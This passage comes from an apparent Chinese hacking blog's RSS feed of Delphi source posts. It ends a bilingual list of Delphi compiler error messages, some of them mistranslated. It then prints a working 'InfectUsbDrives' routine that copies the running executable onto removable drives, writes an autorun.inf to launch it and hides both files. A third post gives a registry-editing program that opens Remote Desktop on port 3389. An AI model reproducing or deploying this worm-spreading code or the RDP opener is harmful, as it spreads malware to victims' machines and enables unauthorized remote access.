syntax error 内联汇编语法错误 <br />Instance variable &rsquo;＜name＞&rsquo; inaccessible here 实体变量＜name＞在这里不能存取 <br />Integer constant or variable name expected 要求整形常量或变量名 <br />Integer constant too large 整型常量太大 <br />Internal error: ＜ErrorCode＞ 内部错误＜errorcode＞ <br />Invalid combination of opcode and operands 操作码与操作对象的无效组合 <br />Invalid compiler directive: &rsquo;＜Directive＞&rsquo; 无效的编译指令＜DIRECTIVE＞ <br />Invalid function result type 无效的函数值类型 <br />Invalid message parameter list 无效的消息参数列表 <br />Invalid register combination 无效的寄存器组合 <br />Invalid typecast 无效的TYPECASE <br />Label &rsquo;＜Name＞&rsquo; is not declared in current procedure 在当前的过程中没有说明标号＜NAME＞ <br />Label already defined: &rsquo;＜Labelname＞&rsquo; 标号＜LABELNAME＞已经定义 <br />Label declaration not allowed in interface part 在界面部分不允许标号说明 <br />Label declared and referenced, but not set: &rsquo;＜label＞&rsquo; 标号被＜label＞说明及引用,但不能设置 <br />Label expected 要求标号 <br />Left side cannot be assigned to 左边不能赋值 <br />Line too long (more than 255 characters) 行太长(超出255个字符) <br />Local class or object types not allowed 不允许局部的类或对象类型 <br />Local procedure/function &rsquo;＜Name＞&rsquo; assigned to procedure variable 局部过程/函数＜NAME＞赋给过程变量 <br />LOOP/JCXZ distance out of range LOOP/JCXZ距离超出范围 <br />Low bound exceeds high bound 下界超过上界 <br />Memory reference expected 要求内存引用 <br />Method &rsquo;＜name＞&rsquo; hides virtual method of base type &rsquo;＜name＞&rsquo; 方法＜NAME＞隐藏了基类型为＜NAME＞的虚拟方法 <br />Method &rsquo;＜name＞&rsquo; not found in base class 在基类中没有找到方法＜NAME＞ <br />Method identifier expected 要求方法标识符 <br />Missing ENDIF directive 缺少ENDIF指令 <br />Missing operator or semicolon 缺少操作符或分号 <br />Missing or invalid conditional symbol in &rsquo;$＜symbol＞&rsquo; directive 在$＜symbol＞指令中缺少或无效的条件符号 <br />Missing parameter type 缺少参数类型 <br />Necessary library helper function was eliminated by linker 必要的库帮助函数被连接程序删除 <br />No definition for abstract method &rsquo;＜name＞&rsquo; allowed 抽象方法＜NAME＞没有定义 <br />Not enough actual parameters 没有足够的实际参数 <br />Number of elements differs from declaration 元素数与说明不同 <br />Numeric overflow 数值溢出 <br />Object or class type required 需要对象或类类型 <br />Object type required 需要对象类型 <br />Only register calling convention allowed in OLE automation section 在OLE自动区段中只允许寄存器调用约定 <br />Operand size mismatch 运算对象大小匹配 <br />Operator not applicable to this operand type 运算符不使用于这一运算对象类型 <br />Order of fields in record constant differs from declaration 在记录常量中的域次序与说明不同 <br />Ordinal type required 需要序数类型 <br />Out of memory 内存溢出 <br />Overflow in conversion or arithmetic operation 转换或算术操作溢出 <br />Overriding automated virtual method &rsquo;＜name＞&rsquo; cannot specify a dispid 覆盖的自动虚拟方法＜NAME＞不能指定DISPID <br />PACKED not allowed here 这里不允许PACKED <br />Pointer type required 需要指针类型 <br />Procedure cannot have a result type 过程不能有结果类型 <br />Procedure DISPOSE needs destructor 过程DISPOSE需要destructor <br />Procedure FAIL only allowed in constructor 过程FAIL只允许在constructor方法中 <br />Procedure NEW needs constructor 过程NEW需要constructor方法 <br />PROCEDURE or FUNCTION expected 要求PROCEDURE或FUNCTION <br />Procedure or function name expected 要求过程或函数名 <br />Program or unit &rsquo;＜name＞&rsquo; recursively uses itself 程序或单元递归 <br />Property &rsquo;＜name＞&rsquo; does not exist in base class 在基类中＜NAME＞属性不存在 <br />Published property &rsquo;＜name＞&rsquo; cannot be of type ＜type＞ Published属性＜NAME＞不能具有类型＜type＞ <br />Published Real48 property &rsquo;＜name＞&rsquo; must be Single, Double or Extended Published REAL属性＜NAME＞必须为Single, Double或Extended <br />Re-raising an exception only allowed in exception handler 在意外处理中只允许重新引起意外处理 <br />Read error on ＜Filename＞ 文件＜FILENAME＞读出错 <br />Record, object or class type required 需要记录,对象或类类型 <br />Redeclaration of &rsquo;＜name＞&rsquo; hides a member in the base class ＜NAME＞的重新说明隐藏了基类中一个元素 <br />Redeclaration of property not allowed in OLE automation section 在OLE自动区段中不允许属性重复说明 <br />Return value of function &rsquo;＜Functionname＞&rsquo; might be undefined 函数＜Functionname＞的返回值可能没有定义 <br />Seek error on ＜Filename＞ 在＜FILENAME＞中搜索错误 <br />Segment/Offset pairs not supported in Borland 32-bit Pascal 在Borland 32位的PASCAL中不支持Segment/Offset对 <br />Sets may have at most 256 elements 集至少有256个元素 <br />Size of published set &rsquo;＜name＞&rsquo; is ＞32 bits published集＜NAME＞的大小大于32字节 <br />Slice standard function only allowed as open array argument Slice标准函数只允许作为打开数组参数 <br />Statement expected, but expression of type &rsquo;＜type＞&rsquo; found 要求语句,但出现类型＜TYPE＞的表达式 <br />Statements not allowed in interface part 在界面中不允许的语句 <br />String constant too long 字符串常量太长 <br />String constant truncated to fit STRING[＜number＞] 字符串常量截取到适合STRING[＜number＞] <br />Strings may have at most 255 elements 字符串至少255个元素 <br />Structure field identifier expected 要求结构域标识符 <br />Syntax error in real number 实数语法错误 <br />System unit out of date or corrupted: missing &rsquo;＜name＞&rsquo; 系统单元超出日期或损坏:缺少＜NAME＞ <br />Text after final &rsquo;END. 编译器忽略END.后的文本 <br />This form of method call only allowed for class methods 该方法的窗体只允许类方法 <br />This form of method call only allowed in methods of derived types 该方法的窗体只允许在导出类型的方法中 <br />This type cannot be initialized 这一类型不能初始化 <br />Thread local variables cannot be ABSOLUTE 线程局部变量不能是ABSOLUTE <br />Thread local variables cannot be local to a function or procedure 线程局部变量对函数不能是局部的 <br />Too many actual parameters 太多的实际参数 <br />Too many conditional symbols 太多的条件符号 <br />Type &rsquo;＜name＞&rsquo; has no type info 类型＜NAME＞没有类型信息 <br />Type &rsquo;＜Name＞&rsquo; is not yet completely defined 类型＜NAME＞至今没有定义 <br />Type &rsquo;＜name＞&rsquo; must be a class to have a PUBLISHED section 类型＜NAME＞必须是在PUBLISHED区段中的类 <br />Type &rsquo;＜name＞&rsquo; must be a class to have OLE automation 类型＜NAME＞必须是具有OLE自动的类 <br />Type &rsquo;＜name＞&rsquo; needs finalization - not allowed in file type 类型＜NAME＞需要初始化-不允许在文件类型中 <br />Type &rsquo;＜name＞&rsquo; needs finalization - not allowed in variant record 类型＜NAME＞需要初始化-不允许在变体记录 <br />Type expected 要求TYPE <br />Type not allowed in OLE Automation call 在OLE自动调用中不允许的类型 <br />Type of expression must be BOOLEAN 表达式的类型必须为BOOLEAN型 <br />Type of expression must be INTEGER 表达式的类型必须为INTEGER型 <br />TYPEINFO standard function expects a type identifier TYPEINFO标准函数要求类型标识符 <br />TYPEOF can only be applied to object types with a VMT TYPEOF只能用于具有VMT的对象类型 <br />Types of actual and formal var parameters must be identical 形参与实参必须一致 <br />Undeclared identifier: &rsquo;＜name＞&rsquo; 未说明的标识符＜NAME＞ <br />Unexpected end of file in comment started on line ＜Number＞ 以行＜Number＞开始的注释中出现不应有的文件结束 <br />Unit ＜Unit1＞ was compiled with a different version of ＜Unit2＞ 单元＜UNIT1＞与不同版本的＜UNIT2＞编译 <br />Unit name mismatch: &rsquo;＜Unitname＞&rsquo; 单元名不匹配＜UNITNAME＞ <br />Unknown directive: &rsquo;＜Directive＞&rsquo; 未知的指令＜DIRECTIVE＞ <br />Unnamed arguments must precede named arguments in OLE Automation call 在OLE自动调用中未命名的参数必须在命名的参数前 <br />Unsatisfied forward or external declaration: &rsquo;＜Procedurename＞&rsquo; 不满足的向前或外部说明＜Procedurename＞ <br />Unterminated string 未结束的字符串 <br />Value assigned to &rsquo;＜Name＞&rsquo; never used 赋给＜NAME＞的值从未使用过 <br />Variable &rsquo;＜name＞&rsquo; inaccessible here due to optimization 由于优化,变量名＜NAME＞在这里不能存取 <br />Variable &rsquo;＜name＞&rsquo; is declared but never used in &rsquo;＜name＞&rsquo; 变量名＜NAME＞已说明,但不曾使用 <br />Variable &rsquo;＜Name＞&rsquo; might not have been initialized 变量名＜NAME＞可能没有初始化 <br />Variable required 需要变量 <br />Virtual constructors are not allowed 不允许虚拟的constructors方法 <br />Write error on ＜Filename＞ 文件＜Filename＞写错误 <br />Wrong or corrupted version of RLINK32.DLL RLINK32.DLL版本错误或不能用 <br />***********************************************************************************************</p><p>&nbsp;</p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/226/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=226</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=226&amp;key=d7959178</trackback:ping></item><item><title>USB Drive infect U盘感染</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/223/</link><pubDate>Thu, 20 Aug 2009 02:04:09 +0800</pubDate><guid>http://yezishell.cn/yuanma/223/</guid><description><![CDATA[<p><br />function InfectUsbDrives(ExeName:string):integer;<br />var<br />&nbsp; Drives: array[0..128] of char;<br />&nbsp; xDrive: PChar;<br />&nbsp; myFile: TextFile;<br />begin<br />&nbsp; Result := 0;<br />&nbsp; GetLogicalDriveStrings(SizeOf(Drives), Drives);&nbsp; //获取本地磁盘<br />&nbsp; xDrive := Drives;<br />&nbsp; while xDrive^ &lt;&gt; #0 do<br />&nbsp; begin<br />&nbsp;&nbsp;&nbsp; if(GetDriveType(xDrive)=DRIVE_REMOVABLE)and(FileExists(xDrive)=True)and(FileExists(xDrive+':\'+ExeName)=False) then //判断磁盘类型不是远程驱动（共享磁盘）并且没有主体exe文件<br />&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CopyFile(PChar(ParamStr(0)),PChar(xDrive+':\'+ExeName),False);&nbsp; //复制exe文件<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AssignFile(myFile, xDrive+':\autorun.inf');&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //创建autorun.inf<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not FileExists(xDrive+':\autorun.inf') then ReWrite(myFile)&nbsp;&nbsp; //判断是否存在&nbsp; 存在的话重写，不存在追加。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else Append(myFile);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseFile(myFile);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetFileAttributes(PChar(xDrive+':\'+ExeName),&nbsp;&nbsp;&nbsp; FILE_ATTRIBUTE_HIDDEN);&nbsp; //设置文件隐藏<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetFileAttributes(PChar(xDrive+':\autorun.inf'), FILE_ATTRIBUTE_HIDDEN);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := Result + 1;&nbsp; //加一用于循环<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; Inc(xDrive, 4);<br />&nbsp; end;<br />end;<br />&nbsp;</p><p>&nbsp;</p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/223/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=223</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=223&amp;key=8a17b30e</trackback:ping></item><item><title>Delphi最修改注册表开 XP/2003下3389</title><author>250048111@qq.com (yezi)</author><link>http://yezishell.cn/yuanma/222/</link><pubDate>Thu, 20 Aug 2009 01:53:23 +0800</pubDate><guid>http://yezishell.cn/yuanma/222/</guid><description><![CDATA[<p><br />program Open3389;<br />{$APPTYPE CONSOLE}<br />uses<br />&nbsp;&nbsp;&nbsp; SysUtils, Registry, Windows;<br />var<br />reg:TRegistry;<br />procedure Help;<br />begin<br />&nbsp;&nbsp;&nbsp; writeln('');<br />&nbsp;&nbsp;&nbsp; writeln('======Win XP&amp;2003 Open3389 by lanyu====== ');<br />&nbsp;&nbsp;&nbsp; Writeln('Useag '+ExtractFileName(Paramstr(0))+' [/n]');<br />end;<br />begin<br />&nbsp;&nbsp;&nbsp; { TODO -oUser -cConsole Main : Insert code here }<br />&nbsp;&nbsp;&nbsp; if ParamCount&gt;2 then<br />&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; help;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<br />&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; reg:=TRegistry.Create;<br />&nbsp;&nbsp;&nbsp; reg.RootKey:=HKEY_LOCAL_MACHINE;<br />&nbsp;&nbsp;&nbsp; reg.OpenKey('SYSTEM\CurrentControlSet\Control\Terminal Server',true);<br />&nbsp;&nbsp;&nbsp; if ParamCount=1 then<br />&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp; if Paramstr(1)='/n' then<br />&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.WriteBool('fDenyTSConnections',true);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Writeln('Close 3389 successfully');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Writeln('Close 3389 fail');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; end<br />&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Help;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; end<br />&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp; begin<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; reg.WriteBool('fDenyTSConnections',false);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; writeln('Open 3389 successfully');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; writeln('Open 3389 fail');<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; end;<br />&nbsp;&nbsp;&nbsp; reg.Free;<br />end.</p><p>&nbsp;</p><p>&nbsp;</p>]]></description><category>编程源码/Source</category><comments>http://yezishell.cn/yuanma/222/#comment</comments><wfw:comment>http://yezishell.cn/</wfw:comment><wfw:commentRss>http://yezishell.cn/feed.asp?cmt=222</wfw:commentRss><trackback:ping>http://yezishell.cn/cmd.asp?act=tb&amp;id=222&amp;key=bb03343e</trackback:ping></item></channel></rss>
